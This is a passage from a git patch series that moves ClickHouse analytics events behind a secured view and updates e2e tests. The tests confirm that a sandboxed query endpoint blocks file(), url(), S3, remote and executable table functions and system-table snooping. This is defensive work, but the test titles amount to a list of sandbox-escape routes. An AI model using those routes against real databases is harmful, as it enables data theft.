-            "metadata_modification_time": "2025-12-18 22:02:53",
-            "metadata_path": "store/c9c/<stripped UUID>/events.sql",
-            "metadata_version": 0,
-            "name": "events",
-            "parameterized_view_parameters": [],
-            "partition_key": "toYYYYMM(event_at)",
-            "parts": 1,
-            "primary_key": "project_id, branch_id, event_at",
-            "sampling_key": "",
-            "sorting_key": "project_id, branch_id, event_at",
-            "storage_policy": "default",
-            "total_bytes": 7328,
-            "total_bytes_uncompressed": 33374,
-            "total_marks": 2,
-            "total_rows": 128,
-            "uuid": "<stripped UUID>",
-          },
-        ],
-        "stats": {
-          "cpu_time": <stripped field 'cpu_time'>,
-          "wall_clock_time": <stripped field 'wall_clock_time'>,
-        },
-      },
-      "headers": Headers { <some fields may have been hidden> },
-    }
-  `);
-});
-
 it("SHOW TABLES should be empty because current database is empty", async ({ expect }) => {
   const response = await runQuery({
     query: "SHOW TABLES",

From 136b25f9fb8f6162d6fbb8a48e329553a598eec8 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Fri, 19 Dec 2025 19:16:21 -0800
Subject: [PATCH 18/25] small fixes, use view for ch events

---
 apps/backend/scripts/clickhouse-migrations.ts |  20 ++-
 apps/backend/scripts/db-migrations.ts         |   4 +-
 .../latest/internal/analytics/query/route.ts  |   2 +-
 .../clickhouse/migrate-events/route.tsx       |   2 +-
 apps/backend/src/lib/events.tsx               |   2 +-
 .../endpoints/api/v1/analytics-events.test.ts |   2 +-
 .../endpoints/api/v1/analytics-query.test.ts  | 124 +++++++++---------
 7 files changed, 85 insertions(+), 71 deletions(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index c94d4df68c..380d9ece51 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -11,13 +11,15 @@ export async function runClickhouseMigrations() {
   });
   // todo: create migration files
   await client.exec({ query: EVENTS_TABLE_BASE_SQL });
+  await client.exec({ query: EXTERNAL_ANALYTICS_DB_SQL });
+  await client.exec({ query: EVENTS_VIEW_SQL });
   const queries = [
     "REVOKE ALL PRIVILEGES ON *.* FROM limited_user;",
     "REVOKE ALL FROM limited_user;",
-    "GRANT SELECT ON analytics.events TO limited_user;",
+    "GRANT SELECT ON default.events TO limited_user;",
   ];
   await client.exec({
-    query: "CREATE ROW POLICY IF NOT EXISTS events_project_isolation ON analytics.events FOR SELECT USING project_id = getSetting('SQL_project_id') AND branch_id = getSetting('SQL_branch_id') TO limited_user",
+    query: "CREATE ROW POLICY IF NOT EXISTS events_project_isolation ON default.events FOR SELECT USING project_id = getSetting('SQL_project_id') AND branch_id = getSetting('SQL_branch_id') TO limited_user",
   });
   for (const query of queries) {
     await client.exec({ query });
@@ -27,7 +29,7 @@ export async function runClickhouseMigrations() {
 }
 
 const EVENTS_TABLE_BASE_SQL = `
-CREATE TABLE IF NOT EXISTS analytics.events (
+CREATE TABLE IF NOT EXISTS analytics_internal.events (
     event_type       LowCardinality(String),
     event_at         DateTime64(3, 'UTC'),
     data             JSON,
@@ -45,3 +47,15 @@ ENGINE MergeTree
 PARTITION BY toYYYYMM(event_at)
 ORDER BY (project_id, branch_id, event_at);
 `;
+
+const EVENTS_VIEW_SQL = `
+CREATE OR REPLACE VIEW default.events 
+SQL SECURITY DEFINER
+AS
+SELECT *
+FROM analytics_internal.events;
+`;
+
+const EXTERNAL_ANALYTICS_DB_SQL = `
+CREATE DATABASE IF NOT EXISTS analytics_internal;
+`;
diff --git a/apps/backend/scripts/db-migrations.ts b/apps/backend/scripts/db-migrations.ts
index 5029b089ca..8a6d4b0752 100644
--- a/apps/backend/scripts/db-migrations.ts
+++ b/apps/backend/scripts/db-migrations.ts
@@ -18,8 +18,8 @@ const dropSchema = async () => {
   await globalPrismaClient.$executeRaw(Prisma.sql`CREATE SCHEMA ${sqlQuoteIdent(globalPrismaSchema)}`);
   await globalPrismaClient.$executeRaw(Prisma.sql`GRANT ALL ON SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} TO postgres`);
   await globalPrismaClient.$executeRaw(Prisma.sql`GRANT ALL ON SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} TO public`);
-  await clickhouseClient.command({ query: "DROP DATABASE analytics" });
-  await clickhouseClient.command({ query: "CREATE DATABASE IF NOT EXISTS analytics" });
+  await clickhouseClient.command({ query: "DROP DATABASE IF EXISTS analytics_internal" });
+  await clickhouseClient.command({ query: "CREATE DATABASE IF NOT EXISTS analytics_internal" });
 };
 
 
diff --git a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index f947573518..cccf2d0cb9 100644
--- a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -94,7 +94,7 @@ const UNSAFE_CLICKHOUSE_ERROR_CODES = [
   497, // ACCESS_DENIED
 ];
 
-const DEFAULT_CLICKHOUSE_ERROR_MESSAGE = "Query not permitted.";
+const DEFAULT_CLICKHOUSE_ERROR_MESSAGE = "Error during execution of this query.";
 const MAX_RESULT_ROWS = 10_000;
 const MAX_RESULT_BYTES = 10 * 1024 * 1024;
 
diff --git a/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx b/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
index 34d29df28a..fbe9d4c9a8 100644
--- a/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
+++ b/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
@@ -151,7 +151,7 @@ export const POST = createSmartRouteHandler({
 
       if (rowsToInsert.length) {
         await clickhouseClient.insert({
-          table: "events",
+          table: "analytics_internal.events",
           values: rowsToInsert,
           format: "JSONEachRow",
           clickhouse_settings: {
diff --git a/apps/backend/src/lib/events.tsx b/apps/backend/src/lib/events.tsx
index ea8290eb6f..08dca85555 100644
--- a/apps/backend/src/lib/events.tsx
+++ b/apps/backend/src/lib/events.tsx
@@ -197,7 +197,7 @@ export async function logEvent<T extends EventType[]>(
 
     const clickhouseClient = clickhouseAdminClient;
     await clickhouseClient.insert({
-      table: "analytics.events",
+      table: "analytics_internal.events",
       values: eventTypesArray.map(eventType => ({
         event_type: eventType.id,
         event_at: timeRange.end,
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
index a63bb9bf94..31352630d5 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-events.test.ts
@@ -11,7 +11,7 @@ const queryEvents = async (params: {
   body: {
     query: `
       SELECT event_type, project_id, branch_id, user_id, team_id
-      FROM analytics.events
+      FROM events
       WHERE 1
         ${params.userId ? "AND user_id = {user_id:String}" : ""}
         ${params.eventType ? "AND event_type = {event_type:String}" : ""}
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
index 72167cfca7..c4d042634d 100644
--- a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -233,8 +233,8 @@ it("does not allow CREATE TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -253,8 +253,8 @@ it("does not allow querying system tables", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -275,8 +275,8 @@ it("does not allow killing queries", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -295,8 +295,8 @@ it("does not allow INSERT statements", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -389,8 +389,8 @@ it("has limited grants", async ({ expect }) => {
           { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON S3 FROM limited_user" },
           { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON SQLite FROM limited_user" },
           { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "REVOKE TABLE ENGINE ON URL FROM limited_user" },
-          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SHOW DATABASES ON analytics.* TO limited_user" },
-          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SHOW TABLES, SHOW COLUMNS, SELECT ON analytics.events TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SHOW DATABASES ON default.* TO limited_user" },
+          { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SHOW TABLES, SHOW COLUMNS, SELECT ON default.events TO limited_user" },
           { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.aggregate_function_combinators TO limited_user" },
           { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.collations TO limited_user" },
           { "GRANTS WITH IMPLICIT FINAL FORMAT JSONEachRow": "GRANT SELECT ON system.columns TO limited_user" },
@@ -433,7 +433,7 @@ it("can see only some tables", async ({ expect }) => {
       "body": {
         "result": [
           {
-            "database": "analytics",
+            "database": "default",
             "name": "events",
           },
         ],
@@ -456,7 +456,7 @@ it("SHOW TABLES should be empty because current database is empty", async ({ exp
     NiceResponse {
       "status": 200,
       "body": {
-        "result": [],
+        "result": [{ "name": "events" }],
         "stats": {
           "cpu_time": <stripped field 'cpu_time'>,
           "wall_clock_time": <stripped field 'wall_clock_time'>,
@@ -560,8 +560,8 @@ it("does not allow accessing system tables via subquery", async ({ expect }) =>
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -581,8 +581,8 @@ it("does not allow UNION to access restricted data", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -602,8 +602,8 @@ it("does not allow file system access via file() function", async ({ expect }) =
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -623,8 +623,8 @@ it("does not allow network access via url() function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -644,8 +644,8 @@ it("does not allow remote table access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -665,8 +665,8 @@ it("does not allow cluster table access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -715,8 +715,8 @@ it("does not allow CTE to bypass restrictions", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -736,8 +736,8 @@ it("does not allow accessing tables of other databases", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -757,8 +757,8 @@ it("does not allow accessing information_schema", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -778,8 +778,8 @@ it("does not allow dictionary access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -799,8 +799,8 @@ it("does not allow query log snooping", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -862,8 +862,8 @@ it("does not allow S3 access", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -883,8 +883,8 @@ it("does not allow executable table function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -904,8 +904,8 @@ it("does not allow comment obfuscation to bypass restrictions", async ({ expect
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -925,8 +925,8 @@ it("does not allow comment obfuscation in table names", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -946,8 +946,8 @@ it("does not allow creating materialized views", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -988,8 +988,8 @@ it("does not allow DROP TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1009,8 +1009,8 @@ it("does not allow ALTER TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1030,8 +1030,8 @@ it("does not allow TRUNCATE TABLE", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1093,8 +1093,8 @@ it("does not allow accessing system.users", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1115,8 +1115,8 @@ it("does not allow accessing system.processes", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1136,8 +1136,8 @@ it("does not allow input() function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1199,8 +1199,8 @@ it("does not allow jdbc table function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1220,8 +1220,8 @@ it("does not allow mysql table function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
@@ -1241,8 +1241,8 @@ it("does not allow postgresql table function", async ({ expect }) => {
       "status": 400,
       "body": {
         "code": "ANALYTICS_QUERY_ERROR",
-        "details": { "error": "Query not permitted." },
-        "error": "The query failed to execute: Query not permitted.",
+        "details": { "error": "Error during execution of this query." },
+        "error": "The query failed to execute: Error during execution of this query.",
       },
       "headers": Headers {
         "x-stack-known-error": "ANALYTICS_QUERY_ERROR",

From 3760836ac9d094d30737816a81e063fe0d61d37a Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Fri, 19 Dec 2025 19:29:39 -0800
Subject: [PATCH 19/25] fix

---
 apps/backend/scripts/clickhouse-migrations.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 380d9ece51..9578617da7 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -10,8 +10,8 @@ export async function runClickhouseMigrations() {
     query_params: { clickhouseExternalPassword },
   });
   // todo: create migration files
-  await client.exec({ query: EVENTS_TABLE_BASE_SQL });
   await client.exec({ query: EXTERNAL_ANALYTICS_DB_SQL });
+  await client.exec({ query: EVENTS_TABLE_BASE_SQL });
   await client.exec({ query: EVENTS_VIEW_SQL });
   const queries = [
     "REVOKE ALL PRIVILEGES ON *.* FROM limited_user;",

From 42bfed5bff84bded8f2560ab37b45457106b651f Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 21 Jan 2026 10:03:48 -0800
Subject: [PATCH 20/25] fix build

---
 apps/backend/scripts/clickhouse-migrations.ts |  4 +-
 apps/backend/scripts/db-migrations.ts         |  5 ++-
 .../latest/internal/analytics/query/route.ts  |  7 ++-
 .../clickhouse/migrate-events/route.tsx       |  7 ++-
 apps/backend/src/lib/clickhouse.tsx           | 28 +++++++++---
 apps/backend/src/lib/events.tsx               | 44 ++++++++++---------
 6 files changed, 60 insertions(+), 35 deletions(-)

diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
index 9578617da7..4d78fdef2d 100644
--- a/apps/backend/scripts/clickhouse-migrations.ts
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -1,9 +1,9 @@
-import { clickhouseAdminClient } from "@/lib/clickhouse";
+import { getClickhouseAdminClient } from "@/lib/clickhouse";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 
 export async function runClickhouseMigrations() {
   console.log("[Clickhouse] Running Clickhouse migrations...");
-  const client = clickhouseAdminClient;
+  const client = getClickhouseAdminClient();
   const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
   await client.exec({
     query: "CREATE USER IF NOT EXISTS limited_user IDENTIFIED WITH sha256_password BY {clickhouseExternalPassword:String}",
diff --git a/apps/backend/scripts/db-migrations.ts b/apps/backend/scripts/db-migrations.ts
index 283d84b059..7b05eecb1e 100644
--- a/apps/backend/scripts/db-migrations.ts
+++ b/apps/backend/scripts/db-migrations.ts
@@ -1,6 +1,6 @@
 import { applyMigrations } from "@/auto-migrations";
 import { MIGRATION_FILES_DIR, getMigrationFiles } from "@/auto-migrations/utils";
-import { clickhouseAdminClient, createClickhouseClient } from "@/lib/clickhouse";
+import { getClickhouseAdminClient } from "@/lib/clickhouse";
 import { globalPrismaClient, globalPrismaSchema, sqlQuoteIdent } from "@/prisma-client";
 import { Prisma } from "@/generated/prisma/client";
 import { spawnSync } from "child_process";
@@ -11,13 +11,14 @@ import { seed } from "../prisma/seed";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 import { runClickhouseMigrations } from "./clickhouse-migrations";
 
-const clickhouseClient = createClickhouseClient("admin");
+const getClickhouseClient = () => getClickhouseAdminClient();
 
 const dropSchema = async () => {
   await globalPrismaClient.$executeRaw(Prisma.sql`DROP SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} CASCADE`);
   await globalPrismaClient.$executeRaw(Prisma.sql`CREATE SCHEMA ${sqlQuoteIdent(globalPrismaSchema)}`);
   await globalPrismaClient.$executeRaw(Prisma.sql`GRANT ALL ON SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} TO postgres`);
   await globalPrismaClient.$executeRaw(Prisma.sql`GRANT ALL ON SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} TO public`);
+  const clickhouseClient = getClickhouseClient();
   await clickhouseClient.command({ query: "DROP DATABASE IF EXISTS analytics_internal" });
   await clickhouseClient.command({ query: "CREATE DATABASE IF NOT EXISTS analytics_internal" });
 };
diff --git a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
index cccf2d0cb9..44ebb4b1c3 100644
--- a/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
+++ b/apps/backend/src/app/api/latest/internal/analytics/query/route.ts
@@ -1,4 +1,4 @@
-import { clickhouseExternalClient, getQueryTimingStats } from "@/lib/clickhouse";
+import { getClickhouseExternalClient, getQueryTimingStats, isClickhouseConfigured } from "@/lib/clickhouse";
 import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
 import { KnownErrors } from "@stackframe/stack-shared";
 import { adaptSchema, adminAuthTypeSchema, jsonSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
@@ -35,7 +35,10 @@ export const POST = createSmartRouteHandler({
     if (body.include_all_branches) {
       throw new StackAssertionError("include_all_branches is not supported yet");
     }
-    const client = clickhouseExternalClient;
+    if (!isClickhouseConfigured()) {
+      throw new StackAssertionError("ClickHouse is not configured");
+    }
+    const client = getClickhouseExternalClient();
     const queryId = randomUUID();
     const resultSet = await Result.fromPromise(client.query({
       query: body.query,
diff --git a/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx b/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
index 125b371db0..6f1e329ac7 100644
--- a/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
+++ b/apps/backend/src/app/api/latest/internal/clickhouse/migrate-events/route.tsx
@@ -1,4 +1,4 @@
-import { clickhouseAdminClient, createClickhouseClient } from "@/lib/clickhouse";
+import { getClickhouseAdminClient, isClickhouseConfigured } from "@/lib/clickhouse";
 import { DEFAULT_BRANCH_ID } from "@/lib/tenancies";
 import { globalPrismaClient } from "@/prisma-client";
 import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
@@ -144,7 +144,10 @@ export const POST = createSmartRouteHandler({
     let migratedEvents = 0;
 
     if (events.length) {
-      const clickhouseClient = clickhouseAdminClient;
+      if (!isClickhouseConfigured()) {
+        throw new StatusError(StatusError.ServiceUnavailable, "ClickHouse is not configured");
+      }
+      const clickhouseClient = getClickhouseAdminClient();
       const rowsByEvent = events.map(createClickhouseRows);
       const rowsToInsert = rowsByEvent.flat();
       migratedEvents = rowsByEvent.reduce((acc, rows) => acc + (rows.length ? 1 : 0), 0);
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
index 648f6d5cd1..f4e62daf54 100644
--- a/apps/backend/src/lib/clickhouse.tsx
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -2,14 +2,26 @@ import { createClient, type ClickHouseClient } from "@clickhouse/client";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
 import { StackAssertionError } from "@stackframe/stack-shared/dist/utils/errors";
 
-const clickhouseUrl = getEnvVariable("STACK_CLICKHOUSE_URL");
+const clickhouseUrl = getEnvVariable("STACK_CLICKHOUSE_URL", "");
 const clickhouseAdminUser = getEnvVariable("STACK_CLICKHOUSE_ADMIN_USER", "stackframe");
 const clickhouseExternalUser = "limited_user";
-const clickhouseAdminPassword = getEnvVariable("STACK_CLICKHOUSE_ADMIN_PASSWORD");
-const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD");
+const clickhouseAdminPassword = getEnvVariable("STACK_CLICKHOUSE_ADMIN_PASSWORD", "");
+const clickhouseExternalPassword = getEnvVariable("STACK_CLICKHOUSE_EXTERNAL_PASSWORD", "");
 const clickhouseDefaultDatabase = getEnvVariable("STACK_CLICKHOUSE_DATABASE", "default");
+const HAS_CLICKHOUSE = !!clickhouseUrl && !!clickhouseAdminPassword && !!clickhouseExternalPassword;
+
+if (!HAS_CLICKHOUSE) {
+  console.warn("ClickHouse is not configured. Analytics features will not be available.");
+}
+
+export function isClickhouseConfigured() {
+  return HAS_CLICKHOUSE;
+}
 
 export function createClickhouseClient(authType: "admin" | "external", database?: string) {
+  if (!HAS_CLICKHOUSE) {
